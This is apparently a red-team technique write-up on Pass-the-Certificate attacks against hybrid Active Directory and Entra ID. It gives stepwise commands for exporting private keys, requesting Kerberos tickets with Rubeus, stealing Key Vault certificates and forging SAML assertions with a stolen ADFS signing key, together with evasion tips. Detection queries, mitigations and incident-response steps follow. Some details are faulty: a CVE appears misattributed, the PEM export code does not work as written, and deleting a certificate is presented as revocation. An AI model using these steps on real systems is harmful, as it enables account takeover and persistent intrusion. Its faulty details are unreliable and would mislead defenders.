| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-003 |
| MITRE ATT&CK v18.1 | T1550.004 - Use Alternate Authentication Material - Certificate |
| Tactic | Defense Evasion, Lateral Movement |
| Platforms | Hybrid AD (Windows AD + Entra ID), Windows AD with ADFS, Entra ID (Hybrid Join) |
| Severity | Critical |
| CVE | CVE-2023-32315 (Azure AD Connect authentication), CVE-2024-26192 (Certificate validation bypass) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Server 2016+, Entra ID all versions, Azure AD Connect 1.2.0-2.2.8 (vulnerable versions) |
| Patched In | Azure AD Connect 2.2.9+ (mitigation applied) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Pass-the-Certificate (PTC) is an attack technique that exploits the use of X.509 certificates as an authentication method in hybrid Active Directory environments (on-premises AD synchronized with Entra ID). When user or service principal certificates are stolen or forged, they can be used to authenticate to Kerberos services (on-premises) and Entra ID cloud services without requiring the original password. This is particularly effective in hybrid deployments where:
Unlike Kerberos tickets (which have a lifetime measured in hours), stolen certificates can remain valid for months or years if configured with extended validity periods.
Attack Surface:
Business Impact: Persistent, undetectable lateral movement across hybrid identity boundaries. An attacker with a valid certificate can impersonate users or service principals, authenticate to both on-premises and cloud resources, bypass MFA (if configured with CBA), exfiltrate data, establish persistence, and potentially escalate to Global Admin in Entra ID tenant. Certificate validity periods (often 1-3 years) mean attackers can maintain access long-term without credential rotation.
Technical Context: Certificate extraction can be immediate if the private key is accessible (non-TPM-stored). Certificate validation in Entra ID is often weak—organizations may trust certificates without validating issuer chains. Certificate-based attacks leave minimal logs compared to password-based auth.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.1.1, 5.1.5 | Failure to audit certificate-based authentication and restrict certificate issuance. |
| DISA STIG | Windows_Server-CA-2.2, Azure_AD-2.1 | Certificate Authority hardening and Entra ID authentication policy. |
| CISA SCuBA | AUTH-03 | Implementing strong authentication without reliance on certificate expiration alone. |
| NIST 800-53 | SC-7, IA-2, IA-5 | Boundary protection, authentication mechanisms, credentials management. |
| GDPR | Art. 32, Art. 33 | Security of processing, breach notification (certificate compromise). |
| DORA | Art. 9, Art. 25 | Protection/prevention, operational resilience of critical functions. |
| NIS2 | Art. 21, Art. 18 | Cyber risk management, authentication and incident response. |
| ISO 27001 | A.10.1.2, A.10.1.3 | Cryptographic controls, key management. |
| ISO 27005 | Risk: Unauthorized access via compromised PKI infrastructure | Long-term persistence via certificate-based auth |
Supported Versions:
Tools:
Check if Certificate-Based Authentication is enabled and which certificates are available:
# List certificates in current user's store
Get-ChildItem -Path Cert:\CurrentUser\My | Select-Object Subject, Thumbprint, NotAfter
# List certificates in Local Machine store (requires Admin)
Get-ChildItem -Path Cert:\LocalMachine\My | Select-Object Subject, Thumbprint, NotAfter
# Check if certificate is exportable
Get-ChildItem -Path Cert:\CurrentUser\My | ForEach-Object {
$cert = $_
$key = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert)
Write-Host "$($cert.Subject) - Private Key Accessible: $($key -ne $null)"
}
# Check Entra ID CBA status (Requires Microsoft Graph PowerShell)
Connect-MgGraph -Scopes "Organization.Read.All"
Get-MgOrganization | Select-Object -ExpandProperty CertificateBasedAuthConfiguration
What to Look For:
Cert:\LocalMachine\My."certificateUserIds": [...] indicates CBA is active.Version Note:
# Connect to Microsoft Graph (requires Global Admin or Application Admin)
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# List all app registrations and their certificates
Get-MgApplication | Select-Object DisplayName, @{Name="CertCount"; Expression={$_.KeyCredentials.Count}}
# Get specific app's certificates
$appId = "12345678-1234-1234-1234-123456789012"
Get-MgApplication -ApplicationId $appId | Select-Object -ExpandProperty KeyCredentials | Select-Object KeyId, NotAfter
# Check if any service principal has administrative role
Get-MgServicePrincipal | Where-Object {$_.AppDisplayName -match "custom|automation|sync"} | Select-Object DisplayName, AppId
What to Look For:
Organization.ReadWrite.All or Directory.ReadWrite.All permissions (dangerous targets).Supported Versions: Server 2016-2025, Windows 10/11
Objective: Identify exploitable certificates in the system store.
Command:
# List all available certificates with details
Get-ChildItem -Path Cert:\LocalMachine\My, Cert:\CurrentUser\My -Recurse | Where-Object {$_.HasPrivateKey} | Select-Object Subject, Thumbprint, NotAfter, FriendlyName | Format-Table -AutoSize
# Export as CSV for analysis
Get-ChildItem -Path Cert:\LocalMachine\My, Cert:\CurrentUser\My | Where-Object {$_.HasPrivateKey} | Export-Csv -Path "C:\temp\certs.csv" -NoTypeInformation
Expected Output:
Subject Thumbprint NotAfter FriendlyName
------- ---------- -------- -----------
CN=user@domain.com,O=Domain ABC123DEF456... 12/31/2027 User Certificate
CN=automation-sync,O=Domain 789GHI012JKL... 6/15/2026 Service Account Cert
CN=adfs.domain.com MNO345PQR678... 3/20/2025 ADFS Signing Cert
What This Means:
HasPrivateKey = True are exportable.NotAfter shows expiration; older dates are higher value for persistence.Objective: Export the certificate and private key for offline use or injection into another system.
Command (Export to PFX - Password Protected):
# Export certificate WITH private key to PFX file
$cert = Get-ChildItem -Path Cert:\LocalMachine\My\ABC123DEF456...
$password = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText
Export-PfxCertificate -Cert $cert -FilePath "C:\temp\exported.pfx" -Password $password -Force
Command (Export to PEM format - Unencrypted):
# Alternative: Export to PEM (no password, more portable)
$cert = Get-ChildItem -Path Cert:\LocalMachine\My\ABC123DEF456...
$keyPath = $cert.PrivateKey.Key.UniqueName
[System.IO.File]::WriteAllBytes("C:\temp\private_key.pem", ([System.Convert]::FromBase64String($cert.PrivateKey.Key.ExportPkcs8())))
Expected Output:
Directory: C:\temp
Mode LastWriteTime Length Name
---- ----------- ------ ----
-a---- 1/9/2025 2:30 PM 2048 exported.pfx
What This Means:
.pfx file is a standard Windows certificate format containing both certificate and private key.OpSec & Evasion:
C:\ProgramData\ instead of Desktop\).Remove-Item C:\temp\exported.pfx -Force.Troubleshooting:
"The operation was not completed. The required data was not found."
HasPrivateKey is actually False; if so, key is TPM-protected and unrecoverable.Objective: Leverage the stolen certificate to obtain a Kerberos TGT from the domain controller.
Command (Using Rubeus with certificate):
Rubeus.exe asktgt /user:domain\admin /certificate:C:\temp\exported.pfx /password:Password123! /domain:domain.local /dc:192.168.1.10
Expected Output:
Rubeus 1.6.4 (build 30b56dff)
[*] Action: Ask TGT
[*] Using certificate: C:\temp\exported.pfx
[+] Requesting TGT using certificate...
[+] Ticket successfully requested!
[*] base64(ticket.kirbi):
YIIFDDCCBQigAwIBBaEDAgEOogcDBQAgAAAAo4IEL...
What This Means:
OpSec & Evasion:
/ptt flag in Rubeus to inject immediately without writing to disk: Rubeus.exe asktgt ... /ptt.Objective: Authenticate to Entra ID services using the stolen certificate (if CBA is enabled).
Command (Request access token using certificate):
# Using Azure CLI
az login --service-principal -u "user@domain.onmicrosoft.com" \
--cert-file C:\temp\exported.pfx --password "Password123!" \
--tenant "12345678-1234-1234-1234-123456789012"
# Using PowerShell (Azure.Identity module)
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("C:\temp\exported.pfx", "Password123!")
$clientId = "12345678-1234-1234-1234-123456789012"
$tenantId = "87654321-4321-4321-4321-210987654321"
$credential = [Azure.Identity.ClientCertificateCredential]::new($tenantId, $clientId, $cert)
$token = $credential.GetToken([Azure.Core.TokenRequestContext]::new(@("https://graph.microsoft.com/.default")))
Expected Output:
Authenticating with service principal using certificate.
[Credential] Token acquired successfully.
// OR PowerShell output:
ExpiresOn : 1/9/2025 4:00:00 PM
What This Means:
References & Proofs:
Supported Versions: Entra ID all versions
Objective: Identify service principals that have access to Azure Key Vault with stored certificates.
Command:
# Connect to Azure
Connect-AzAccount
# List all service principals with Key Vault permissions
Get-AzKeyVault | ForEach-Object {
$vaultName = $_.VaultName
Get-AzKeyVaultKey -VaultName $vaultName | ForEach-Object {
Write-Host "Vault: $vaultName, Key: $($_.Name), Expiration: $($_.Expires)"
}
Get-AzKeyVaultCertificate -VaultName $vaultName | ForEach-Object {
Write-Host "Vault: $vaultName, Certificate: $($_.Name), Expiration: $($_.Certificate.NotAfter)"
}
}
Expected Output:
Vault: production-vault, Key: app-signing-key, Expiration: 12/31/2027
Vault: production-vault, Certificate: user-auth-cert, Expiration: 6/15/2026
What This Means:
Objective: Download the certificate from Key Vault for use in attacks.
Command:
# Get the certificate from Key Vault
$cert = Get-AzKeyVaultCertificate -VaultName "production-vault" -Name "user-auth-cert"
$secret = Get-AzKeyVaultSecret -VaultName "production-vault" -Name $cert.Name
# Convert to X509 certificate object
$secretBytes = [System.Convert]::FromBase64String($secret.SecretValueText)
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($secretBytes)
# Export to file
[System.IO.File]::WriteAllBytes("C:\temp\stolen-cert.pfx", $secretBytes)
Expected Output:
C:\temp\stolen-cert.pfx (file created)
What This Means:
OpSec & Evasion:
SecretGet and CertificateGet audit events.Supported Versions: Server 2012 R2 - Server 2022 (ADFS), Entra ID (federated tenant)
Objective: Find the ADFS token-signing certificate used to sign SAML tokens.
Command (On ADFS Server):
# List ADFS certificates
Get-AdfsCertificate -CertificateType Token-Signing
# Export certificate details
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, NotAfter, Subject
Expected Output:
Thumbprint : ABC123DEF456789...
NotAfter : 12/31/2027
Subject : CN=ADFS Signing
What This Means:
Objective: Export the ADFS token-signing certificate with private key.
Command (On ADFS Server - Requires Enterprise Admin):
# Export ADFS signing certificate
$cert = Get-AdfsCertificate -CertificateType Token-Signing | Select-Object -First 1
$thumbprint = $cert.Thumbprint
# Locate certificate in store
$storeCert = Get-ChildItem -Path Cert:\LocalMachine\My\$thumbprint
# Export to PFX (requires SYSTEM privileges or Enterprise Admin)
$password = ConvertTo-SecureString -String "FederationPassword123!" -Force -AsPlainText
Export-PfxCertificate -Cert $storeCert -FilePath "C:\temp\adfs_signing.pfx" -Password $password -Force
Expected Output:
C:\temp\adfs_signing.pfx (file exported)
What This Means:
Objective: Create forged SAML assertions signed with stolen ADFS certificate.
Command (Using samltool or custom script):
# Example using samltool (Python-based SAML tool)
# Create malicious SAML assertion
samltool.py create --issuer "https://sts.domain.com/adfs/services/trust" \
--name-id "admin@domain.com" \
--certificate /tmp/adfs_signing.pfx \
--password "FederationPassword123!" \
--output malicious_saml.xml
# OR manually construct SAML and sign with OpenSSL
xmlsec1 sign --pkcs12 /tmp/adfs_signing.pfx --pwd "FederationPassword123!" \
--id-attr ID urn:oasis:names:tc:SAML:2.0:assertion:Assertion \
assertion.xml > signed_assertion.xml
Expected Output:
<Assertion ID="...">
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignatureValue>ABC123DEF456...</SignatureValue>
</Signature>
</Assertion>
What This Means:
OpSec & Evasion:
References & Proofs:
Command:
Invoke-AtomicTest T1550.004 -TestNumbers 1
Cleanup Command:
Invoke-AtomicTest T1550.004 -TestNumbers 1 -Cleanup
Reference: Atomic Red Team Library - T1550.004
Version: 1.6.4+ Minimum Version: 1.6.0 Supported Platforms: Windows (all versions)
Version-Specific Notes:
asktgt /certificate flag).Installation:
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
dotnet build -c Release
Usage (Kerberos auth with certificate):
Rubeus.exe asktgt /user:domain\admin /certificate:cert.pfx /password:password /domain:domain.local /dc:10.0.0.1 /ptt
Version: 2.50.0+ Supported Platforms: Windows, Linux, macOS
Usage (Authenticate with certificate):
az login --service-principal -u "user@domain.onmicrosoft.com" \
--cert-file cert.pfx --password "password" \
--tenant "tenant-id"
Version: Latest (actively maintained) Supported Platforms: Linux (Python 3.8+)
Installation:
git clone https://github.com/semperis/EntraGoat.git
cd EntraGoat
pip install -r requirements.txt
Usage (Certificate exploitation scenarios):
python entragoat.py --scenario certificate_based_auth
python entragoat.py --scenario golden_saml
Rule Configuration:
KQL Query:
SigninLogs
| where AuthenticationDetails contains "Certificate"
| where ResultDescription == "Success"
| summarize CertAuthCount = count() by UserPrincipalName, AppDisplayName, bin(TimeGenerated, 10m)
| where CertAuthCount > 5
| project TimeGenerated, UserPrincipalName, AppDisplayName, CertAuthCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Entra ID - Certificate-Based Auth AnomalyHighKQL Query:
AuditLogs
| where OperationName =~ "Update application" or OperationName =~ "Update service principal"
| where ActivityDisplayName contains "Add credentials"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, Result
What This Detects:
Event ID: 4885 – Certificate was explicitly exported
Manual Configuration Steps (Group Policy):
gpupdate /forceManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enableMinimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2016+
<EventFiltering>
<!-- Detect Certificate Export via Certutil -->
<RuleGroup name="" groupRelation="or">
<ProcessCreation onmatch="include">
<Image condition="image">certutil.exe</Image>
<CommandLine condition="contains">-exportPFX</CommandLine>
<CommandLine condition="contains">-export</CommandLine>
</ProcessCreation>
</RuleGroup>
<!-- Detect Certificate File Creation (.pfx, .cer, .pem) -->
<RuleGroup name="" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="end with">.pfx</TargetFilename>
<TargetFilename condition="end with">.pem</TargetFilename>
<TargetFilename condition="end with">.p12</TargetFilename>
</FileCreate>
</RuleGroup>
<!-- Detect Rubeus Certificate Usage -->
<RuleGroup name="" groupRelation="or">
<ProcessCreation onmatch="include">
<Image condition="image">Rubeus.exe</Image>
<CommandLine condition="contains">/certificate</CommandLine>
</ProcessCreation>
</RuleGroup>
</EventFiltering>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xmlAlert Name: “Suspicious certificate-based authentication activity detected”
Manual Configuration Steps:
Implement Certificate Pinning & CRL/OCSP Validation: Ensure certificates are validated in real-time against Certificate Revocation Lists.
Manual Steps (Entra ID - Group Policy):
gpupdate /forceRestrict Certificate Issuance & Validation: Only trusted issuers should issue certificates for authentication.
Manual Steps (Entra ID - Certificate-Based Auth Policy):
Enforce Certificate Expiration Policies: Short certificate validity periods (6 months to 1 year) limit persistence.
Manual Steps (Internal CA – Active Directory Certificate Services):
Disable Export of Private Keys: Mark all certificates as non-exportable to prevent theft.
Manual Steps (Group Policy):
gpupdate /forceImplement Hardware Security Module (HSM) or TPM-Backed Certificates: Store private keys in hardware devices that prevent extraction.
Manual Steps (Azure Key Vault with HSM):
Monitor & Alert on Certificate Export Events: Enable detailed logging for all certificate operations.
Manual Steps (Audit Policy):
Restrict Service Principal Certificate Permissions: Use RBAC to prevent low-privilege service principals from creating or modifying certificates.
Manual Steps (Entra ID):
Application.ReadWrite.All or Directory.ReadWrite.Allmail.send)Implement Conditional Access Policies: Require additional verification for certificate-based authentication.
Manual Steps (Entra ID):
Certificate-Based Auth - Require MFAAudit All Certificate Operations: Log every certificate creation, export, and usage.
Manual Steps (Azure Monitor):
CertificateGet, CertificateCreate, CertificateUpdate (Key Vault)Add credentials to service principalUpdate application (app certificate changes)# Check if certificate export is restricted
$exportPolicy = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography" -Name "ForceKeyProtection" -ErrorAction SilentlyContinue).ForceKeyProtection
if ($exportPolicy -eq 1) {
Write-Host "✓ Certificate export protection enabled"
} else {
Write-Host "✗ Certificate export NOT restricted"
}
# Check certificate validity periods
Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.NotAfter -lt (Get-Date).AddYears(1)} | Select-Object Subject, NotAfter | Format-Table
Write-Host "Certificates with <1 year validity (good): $($(Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.NotAfter -lt (Get-Date).AddYears(1)}).Count)"
# Check for non-standard issuers
Get-ChildItem -Path Cert:\LocalMachine\My | Select-Object @{Name="Issuer"; Expression={$_.Issuer}} -Unique
Expected Output (If Secure):
✓ Certificate export protection enabled
Certificates with <1 year validity (good): 8
Issuer: CN=Internal CA, O=Domain
.pfx, .p12, .pem, .cer files in non-standard locations (C:\Temp\, C:\ProgramData\)/certificate flag in command lineHKCU:\Software\Microsoft\Windows\CurrentVersion\RunMRU for certificate toolsgetTGT.py, samltool commandsCertificateGet, CertificateCreate, SecretGet operations# Disable network on compromised machine
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
# Export Windows Event Logs
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
# Export Kerberos tickets
klist | Out-File C:\Evidence\klist_output.txt
# Revoke compromised certificate
Get-ChildItem -Path Cert:\LocalMachine\My\<Thumbprint> | Remove-Item -Force
# Reset service principal credentials
Remove-AzADAppCredential -ApplicationId "app-id"
New-AzADAppCredential -ApplicationId "app-id"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into approving app consent, steals refresh token |
| 2 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions | Attacker gains Application Admin role via compromised app |
| 3 | Credential Access | [CA-UNSC-009] Azure Key Vault Extraction | Attacker reads certificates from Key Vault |
| 4 | Current Step | [LM-AUTH-003] | Attacker uses stolen certificate for auth (PTC) |
| 5 | Lateral Movement | [LM-AUTH-004] Pass-the-PRT | Attacker uses certificate to obtain PRT, authenticate to other cloud apps |
| 6 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Attacker creates backdoor admin account using certificate-based access |
| 7 | Impact | Data Exfiltration | Attacker accesses OneDrive, Teams, SharePoint as compromised user |